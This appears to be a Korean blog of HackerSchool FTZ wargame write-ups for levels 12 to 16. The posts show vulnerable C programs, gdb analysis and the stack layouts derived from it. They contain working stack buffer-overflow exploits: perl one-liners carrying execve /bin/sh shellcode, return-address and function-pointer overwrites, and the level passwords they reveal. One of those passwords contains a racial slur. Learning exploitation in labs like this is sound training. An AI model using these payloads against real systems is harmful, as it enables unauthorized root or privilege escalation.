0x08048530 <main+24>: lea    0xffffffc8(%ebp),%eax

0x08048533 <main+27>: push   %eax

0x08048534 <main+28>: call   0x8048384 <fgets>

0x08048539 <main+33>: add    $0x10,%esp

0x0804853c <main+36>: mov    0xfffffff0(%ebp),%eax

0x0804853f <main+39>: call   *%eax

0x08048541 <main+41>: leave

0x08048542 <main+42>: ret

 

(gdb) p shell

$1 = {<text variable, no debug info>} 0x80484d0 <shell>

(gdb) p printit

$2 = {<text variable, no debug info>} 0x8048500 <printit>

 

 

먼저 main+3을 보니 0x38( 10진수로 56바이트)의 메모리를 확보하네요ㅎㅎ

main+6을 보면 0x8048500, printit 함수의 주소를 ebp-16지점( *call )에 저장하는게 보이네요

이 부분에 저장되는 주소를, shell 함수의 주소로 바꿔주겠습니다.

shell 함수의 시작주소는 0x80484d0이네요ㅎㅎ

 

RET [4]

SFP [4]

dummy [4]

crap [4]

dummy [4]

* call [4]

dummy [20]

buf [20]

 

 

깔끔하게 56바이트 모두 shell함수의 주소로 덮어쓰는 방법으로 공격하겠습니다!

 

[level16@ftz level16]$ (perl -e 'print "\xd0\x84\x04\x08"x14'; cat) | ./attackme

 

id

uid=3097(level17) gid=3096(level16) groups=3096(level16)

my-pass

 

Level17 Password is "king poetic”.

 

 

 

level17의 셸을 획득했습니다~

 



이 댓글을 비밀 댓글로

해커스쿨 FTZ ( level15 -> level16 ) by ORANG

Posted by ORANG ORANG(오랑)
2014.10.20 03:09 System Hacking/해커스쿨 FTZ

FTZ_level15

 

 [level15@ftz level15]$ bash2

[level15@ftz level15]$ cat hint

 

#include <stdio.h>

 

main()

{ int crap;

  int *check;

  char buf[20];

  fgets(buf,45,stdin);

  if (*check==0xdeadbeef)

   {

     setreuid(3096,3096);

     system("/bin/sh");

   }

}

 

이번에도 bash2를 띄우고!! 힌트를 보겠습니다

level14와 아주 비슷하지만 check 가 포인터로 되어있네요ㅎㅎ

0xdeadbeef를 넣어주고, 그 주소를 가리키도록 바꾸어 공격해보겠습니다.

 

메모리 구조를 그리는 과정은 level14와 같으므로 생략하겠습니다.

buf 의 시작 주소가 필요하겠네요ㅎㅎ 찾아보겠습니다.


 

RET [4]

SFP [4]

crap [4] + dummy [4]

* check [4]

dummy [20]

buf [20]

 

 (gdb) disas main

Dump of assembler code for function main:

0x08048490 <main+0>: push   %ebp

0x08048491 <main+1>: mov    %esp,%ebp

0x08048493 <main+3>: sub    $0x38,%esp

0x08048496 <main+6>: sub    $0x4,%esp

0x08048499 <main+9>: pushl  0x8049664

0x0804849f <main+15>: push   $0x2d

0x080484a1 <main+17>: lea    0xffffffc8(%ebp),%eax

0x080484a4 <main+20>: push   %eax

0x080484a5 <main+21>: call   0x8048360 <fgets>

0x080484aa <main+26>: add    $0x10,%esp

…생략…


 

 

fgets 함수를 통해 buf에 입력을 받은 직후인 main+26에 브레이크 포인트를 걸고

buf의 시작 주소를 찾아보겠습니다.

 

 (gdb) b * main+26

Breakpoint 1 at 0x80484aa

(gdb) r

Starting program: /home/level15/tmp/attackme

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

 

Breakpoint 1, 0x080484aa in main ()

(gdb) x/50x $esp

0xbffff5b0: 0xbffff5c0 0x0000002d 0x4212ecc0 0x00000000

0xbffff5c0: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffff5d0: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffff5e0: 0x41414141 0x41414141 0x41414141 0x08048300

0xbffff5f0: 0x4200af84 0x42130a14 0xbffff618 0x42015574

0xbffff600: 0x00000001 0xbffff644 0xbffff64c 0x4001582c

0xbffff610: 0x00000001 0x08048390 0x00000000 0x080483b1

0xbffff620: 0x08048490 0x00000001 0xbffff644 0x08048308

0xbffff630: 0x08048520 0x4000c660 0xbffff63c 0x00000000

0xbffff640: 0x00000001 0xbffffc27 0x00000000 0xbffffc42

0xbffff650: 0xbffffc60 0xbffffc70 0xbffffc81 0xbffffc8f

0xbffff660: 0xbffffca2 0xbffffcaf 0xbffffe72 0xbffffe8f

0xbffff670: 0xbffffedf 0xbffffef4

 

 

 

buf의 시작 주소는 0xbffff5c0이네요ㅎㅎ

buf에 nop + 0xdeadbeef를 넣어 준후에 check 포인터의 주소값을 buf의 시작주소로 바꾸겠습니다.

랜덤스택이 적용되어 있을테니 반복은 필수!!

 

 [level15@ftz tmp]$ while  [ 1 ]; do (perl -e 'print "\x90"x16,"\xef\xbe\xad\xde", "\x90"x20,  "\xc0\xf5\xff\xbf"'; cat) | ./attackme; done

 

 

 

 

…생략…

 

 

 

id

uid=3096(level16) gid=3095(level15) groups=3095(level15)

 

 

 

my-pass

 

Level16 Password is "about to cause mass".

 

어느 순간 level16의 셸을 획득했습니다ㅎㅎ 



이 댓글을 비밀 댓글로

해커스쿨 FTZ ( level14 -> level15 ) by ORANG

Posted by ORANG ORANG(오랑)
2014.10.20 03:08 System Hacking/해커스쿨 FTZ


FTZ_level14

 

 [level14@ftz level14]$ bash2

[level14@ftz level14]$ cat hint

 

레벨14 이후로는 mainsource의 문제를 그대로 가져왔습니다.

버퍼 오버플로우, 포맷스트링을 학습하는데는 이 문제들이

최고의 효과를 가져다줍니다.

 

#include <stdio.h>

#include <unistd.h>

 

main()

{ int crap;

  int check;

  char buf[20];

  fgets(buf,45,stdin);

  if (check==0xdeadbeef)

   {

     setreuid(3095,3095);

     system("/bin/sh");

   }

}

 

bash2부터 띄우고~~ 힌트를 보니 level14와 비슷합니다 ㅎㅎ

하지만 fgets 함수로 입력받는 최대 크기가 45바이트로 되어있네요

check 부분을 0xdeadbeef 로 채우면 셸을 획득할 수 있으므로 check의 주소를 알아내는게 중요하겠네요

분석 후 메모리 구조를 그려보겠습니다.


 (gdb) disas main

Dump of assembler code for function main:

0x08048490 <main+0>: push   %ebp

0x08048491 <main+1>: mov    %esp,%ebp

0x08048493 <main+3>: sub    $0x38,%esp

0x08048496 <main+6>: sub    $0x4,%esp

0x08048499 <main+9>: pushl  0x8049664

0x0804849f <main+15>: push   $0x2d

0x080484a1 <main+17>: lea    0xffffffc8(%ebp),%eax

0x080484a4 <main+20>: push   %eax

0x080484a5 <main+21>: call   0x8048360 <fgets>

0x080484aa <main+26>: add    $0x10,%esp

0x080484ad <main+29>: cmpl   $0xdeadbeef,0xfffffff0(%ebp)

0x080484b4 <main+36>: jne    0x80484db <main+75>

…생략…

 

 

main+3을 보니 0x38 ( 56 바이트 )크기 만큼 메모리를 확보하네요ㅎㅎ

main+29부분을 보면 check의 시작 주소가 ebp로부터 -16바이트인 곳이라는걸 확인할 수 있습니다.

 

 

 

RET [4]

SFP [4]

crap [4] + dummy [8]

check [4]

dummy [20]

buf [20]

가 되겠네요ㅎㅎ

단순히 buf로부터 40 바이트 뒤에 check를 0xdeadbeef로 채워주면 되므로

시작 주소는 찾지 않아도 되겠네요ㅎㅎ

 

공격을 해보겠습니다.

 

 [level14@ftz level14]$ (perl -e 'print "A"x40,"\xef\xbe\xad\xde"'; cat) | ./attackme

id

uid=3095(level15) gid=3094(level14) groups=3094(level14)

my-pass

 

Level15 Password is "guess what".

 

 

 

 


이 댓글을 비밀 댓글로

해커스쿨 FTZ ( level13 -> level14 ) by ORANG

Posted by ORANG ORANG(오랑)
2014.10.20 03:07 System Hacking/해커스쿨 FTZ

FTZ_level13


[level13@ftz level13]$ bash2

[level13@ftz level13]$ cat hint

 

#include <stdlib.h>

 

main(int argc, char *argv[])

{

   long i=0x1234567;

   char buf[1024];

 

   setreuid( 3094, 3094 );

   if(argc > 1)

   strcpy(buf,argv[1]);

 

   if(i != 0x1234567) {

   printf(" Warnning: Buffer Overflow !!! \n");

   kill(0,11);

   }

}

 

먼저 bash2를 띄우고, 힌트를 확인해보니 역시 BOF문제네요 

long형 변수 i를 두고 값이 조작될시에 BOF를 감지하고 종료하는것 같습니다.

그렇다면 i부분을 0x1234567로 덮어씌어줌으로 우회하면 되겠네요ㅎㅎ

gdb로 분석후 메모리 구조를 그려보겠습니다.

 

 (gdb) disas main

Dump of assembler code for function main:

0x080484a0 <main+0>: push   %ebp

0x080484a1 <main+1>: mov    %esp,%ebp

0x080484a3 <main+3>: sub    $0x418,%esp

…생략…

0x080484d4 <main+52>: pushl  (%eax)

0x080484d6 <main+54>: lea    0xfffffbe8(%ebp),%eax

0x080484dc <main+60>: push   %eax

0x080484dd <main+61>: call   0x8048390 <strcpy>

0x080484e2 <main+66>: add    $0x10,%esp

0x080484e5 <main+69>: cmpl   $0x1234567,0xfffffff4(%ebp)

0x080484ec <main+76>: je     0x804850d <main+109>

 

 

0x418( 10진수로 1048 ) 크기 만큼 메모리를 확보하네요

main+69를 보면 i 의 시작 주소가 ebp로부터 -12인 곳이라는걸 알수있습니다.

i의 메모리 크기가 4이므로, i와 SFP 사이의 dummy 크기는 8, buf와 i 사이의 dummy 크기는 12가 되겠네요

메모리 구조를 그려보면..

 

RET [4]

SFP [4]

dummy [8]

i [4]

dummy [12]

buf[ 1024]

이 되겠네요ㅎㅎ 그럼 이제 buf의 시작 주소를 찾아보겠습니다.

 

 (gdb) b * main+66

Breakpoint 1 at 0x80484e2

(gdb) r

Starting program: /home/level13/tmp/attackit

 

Program exited with code 0377.

(gdb) r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Starting program: /home/level13/tmp/attackit AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

 

Breakpoint 1, 0x080484e2 in main ()

(gdb) x/100x $esp

0xbffff120: 0xbffff130 0xbffffbaa 0x00000000 0x00000000

0xbffff130: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffff140: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffff150: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffff160: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffff170: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffff180: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffff190: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffff1a0: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffff1b0: 0x41414141 0x41414141 0x41414141 0x41414141

0xbffff1c0: 0x41414141 0x00414141 0x40015a38 0x40015360

0xbffff1d0: 0x00000000 0x00000000 0x0804968c 0x40015a38

0xbffff1e0: 0x00000000 0x400169e0 0xf7aa4c0b 0x00009a39

 

 

strcpy 함수에의해 argv[1]이 buf에 복사되는 직후(main+66)에 브레이크포인트를 걸어주고

buf 의 시작 주소를 찾아냈습니다. 0xbffff130 이군요!!

 

필요한 정보는 다 모은것 같습니다. 정확한 메모리 계산이 가능해졌네요

‘nop+셸코드 (1036바이트) + i (0x1234567) + 쓰레기값(12바이트) + 셸코드 주소’를 인자로 전달하겠습니다.

 

이전 문제들과 마찬가지로 랜덤스택 문제를 우회하기 위해 반복을 통해 공격해보겠습니다.

 

 [level13@ftz level13]$ while  [ 1 ]; do ./attackme `perl -e 'print "\x90"x1000, "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80","\x90"x11, "\x67\x45\x23\x01", "\x90"x12, "\xb0\xf1\xff\xbf"'`; done

세그멘테이션 오류

세그멘테이션 오류

세그멘테이션 오류

세그멘테이션 오류

세그멘테이션 오류

세그멘테이션 오류

세그멘테이션 오류

세그멘테이션 오류

세그멘테이션 오류

세그멘테이션 오류

세그멘테이션 오류

sh-2.05b$ id

uid=3094(level14) gid=3093(level13) groups=3093(level13)

sh-2.05b$ my-pass

TERM environment variable not set.

 

Level14 Password is "what that nigga want?".

 

 

level14의 셸이 떳네요ㅎㅎ level15로 넘어가보겠습니다~



    • 1111
    • 2018.01.10 08:31 신고
    main+69를 보면 i 의 시작 주소가 ebp로부터 -12인 곳이라는걸 알수있습니다 이건 어떻게 알수있는건가요..
이 댓글을 비밀 댓글로

해커스쿨 FTZ ( level12 -> level13 ) by ORANG

Posted by ORANG ORANG(오랑)
2014.10.20 03:07 System Hacking/해커스쿨 FTZ

FTZ_level12

 

[level12@ftz level12]$ bash2

[level12@ftz level12]$ cat hint

 

 

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

 

int main( void )

{

char str[256];

 

  setreuid( 3093, 3093 );

printf( "문장을 입력하세요.\n" );

gets( str );

printf( "%s\n", str );

}

 

bash2부터 띄워주시고요~~

level11과 비슷하지만 인자로 전달받지 않는다는점만 다르네요ㅎㅎ

gets 함수 역시 입력받을 수 있는 문자열 크기 제한이 없으므로 BOF 취약점이 있습니다.

 

간단하게 분석후, 메모리 구조를 그려보겠습니다.

 (gdb) disas main

Dump of assembler code for function main:

0x08048470 <main+0>: push   %ebp

0x08048471 <main+1>: mov    %esp,%ebp

0x08048473 <main+3>: sub    $0x108,%esp

0x08048479 <main+9>: sub    $0x8,%esp

0x0804847c <main+12>: push   $0xc15

0x08048481 <main+17>: push   $0xc15

0x08048486 <main+22>: call   0x804835c <setreuid>

0x0804848b <main+27>: add    $0x10,%esp

0x0804848e <main+30>: sub    $0xc,%esp

0x08048491 <main+33>: push   $0x8048538

0x08048496 <main+38>: call   0x804834c <printf>

0x0804849b <main+43>: add    $0x10,%esp

0x0804849e <main+46>: sub    $0xc,%esp

0x080484a1 <main+49>: lea    0xfffffef8(%ebp),%eax

0x080484a7 <main+55>: push   %eax

0x080484a8 <main+56>: call   0x804831c <gets>

0x080484ad <main+61>: add    $0x10,%esp

…생략…

0x080484b0 <main+64>: sub    $0x8,%esp

0x080484b3 <main+67>: lea    0xfffffef8(%ebp),%eax

0x080484b9 <main+73>: push   %eax

0x080484ba <main+74>: push   $0x804854c

0x080484bf <main+79>: call   0x804834c <printf>

0x080484c4 <main+84>: add    $0x10,%esp

…생략…

 

 

main+3에서 264바이트 만큼의 메모리를 확보하는게 보이네요

메모리 구조를 그려보겠습니다.

 

RET [4]

SFP [4]

dummy [8]

str[256]

 

 

str의 시작 주소를 알기 위해

str의 주소를 불러오는 printf(“%s\n”, str); 부분을 이용하겠습니다.

str의 주소를 eax레지스터에 집어 넣는 main+73 부분에 브레이크 포인트를 걸고

메모리를 확인해보겠습니다.

 

 The program being debugged has been started already.

Start it from the beginning? (y or n) y

 

Starting program: /home/level12/tmp/attackit

문장을 입력하세요.

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

 

Breakpoint 1, 0x080484b9 in main ()

(gdb) x/50x $eax

0xbfffe150: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffe160: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffe170: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffe180: 0x41414141 0x41414141 0x41414141 0x41414141

0xbfffe190: 0x41414141 0x41414141 0x41414141 0xbf004141

0xbfffe1a0: 0x4000be03 0x4001624c 0x00000000 0x0177ff8e

0xbfffe1b0: 0x4000807f 0x4001582c 0x00000059 0x40015a38

0xbfffe1c0: 0xbfffe210 0x4000be03 0x40015bd4 0x40016380

0xbfffe1d0: 0x00000001 0x00000000 0x4200dba3 0x420069e4

0xbfffe1e0: 0x42130a14 0xbffffc1d 0xbfffe2a4 0xbfffe224

0xbfffe1f0: 0x4000bcc0 0x08049648 0x00000001 0x08048249

0xbfffe200: 0x4210fd3c 0x42130a14 0xbfffe228 0x4210fdf6

0xbfffe210: 0x08049560 0x08049664

 

str 의 시작주소는 0xbfffe150이네요ㅎㅎ

 

264바이트 (nop+셸코드) + 4바이트 (SFP를 덮을 쓰레기값) + 4바이트 ( RET를 덮을 str시작주소값 )

 

level11에서 사용한 방법으로

반복으로 랜덤스택을 우회하여 공격해보겠습니다.

 

 [level12@ftz level12]$ while [ 1 ]; do (perl -e 'print "\x90"x200,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80","\x90"x43,"\x70\xe1\xff\xbf"';cat)|./attackme; done

문장을 입력하세요.

 

1??h//shh/bin??S????

                    ??p????

 

세그멘테이션 오류

문장을 입력하세요.

 

1??h//shh/bin??S????

                    ??p????

 

세그멘테이션 오류

 

…생략…

 

문장을 입력하세요.

 

1??h//shh/bin??S????

                    ??p????

 

 

id

uid=3093(level13) gid=3092(level12) groups=3092(level12)

my-pass

TERM environment variable not set.

 

Level13 Password is "have no clue".

 

 

어느 순간 level13의 셸을 획득한게 보이네요ㅎㅎ

 


이 댓글을 비밀 댓글로